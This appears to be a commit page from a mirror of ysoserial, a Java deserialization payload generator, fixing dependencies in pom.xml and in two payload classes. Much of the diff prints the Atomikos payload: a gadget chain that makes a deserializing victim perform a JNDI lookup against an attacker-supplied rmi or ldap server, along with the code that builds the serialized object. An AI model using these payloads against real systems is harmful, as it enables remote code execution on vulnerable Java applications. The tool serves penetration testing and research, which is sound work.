mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
fix some tests
This commit is contained in:
@@ -332,9 +332,19 @@
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>transactions-osgi</artifactId>
|
||||
<artifactId>transactions-jta</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>transactions-api</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>atomikos-util</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-tx</artifactId>
|
||||
|
||||
@@ -13,7 +13,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
*
|
||||
* javax/management/BadAttributeValueExpException.readObject()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
|
||||
@@ -29,48 +29,48 @@ import ysoserial.payloads.util.Reflections;
|
||||
*
|
||||
* This gadget chain was also discovered by pwntester:
|
||||
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
|
||||
*
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
|
||||
@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
|
||||
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
|
||||
public class Atomikos implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
|
||||
// validate command
|
||||
int sep = command.lastIndexOf('/');
|
||||
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
||||
throw new IllegalArgumentException("Command format is: " + command
|
||||
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
||||
throw new IllegalArgumentException("Command format is: " + command
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
|
||||
// create factory based on url
|
||||
String initialContextFactory;
|
||||
if (url.startsWith("ldap"))
|
||||
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
|
||||
else
|
||||
else
|
||||
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
|
||||
|
||||
|
||||
// create object
|
||||
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
|
||||
|
||||
|
||||
// set values using reflection
|
||||
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
|
||||
Reflections.setFieldValue(rcut, "providerUrl", url);
|
||||
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
|
||||
|
||||
|
||||
// create exception
|
||||
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(exception, "val", rcut);
|
||||
|
||||
|
||||
return exception;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Atomikos.class, args);
|
||||
}
|
||||
|
||||
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
|
||||
// Origin Detective is PHITHON From
|
||||
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
|
||||
@Authors({Authors.K4n5ha0})
|
||||
public class CommonsBeanutils2 implements ObjectPayload<Object> {
|
||||
|
||||
|
||||
Reference in New Issue
Block a user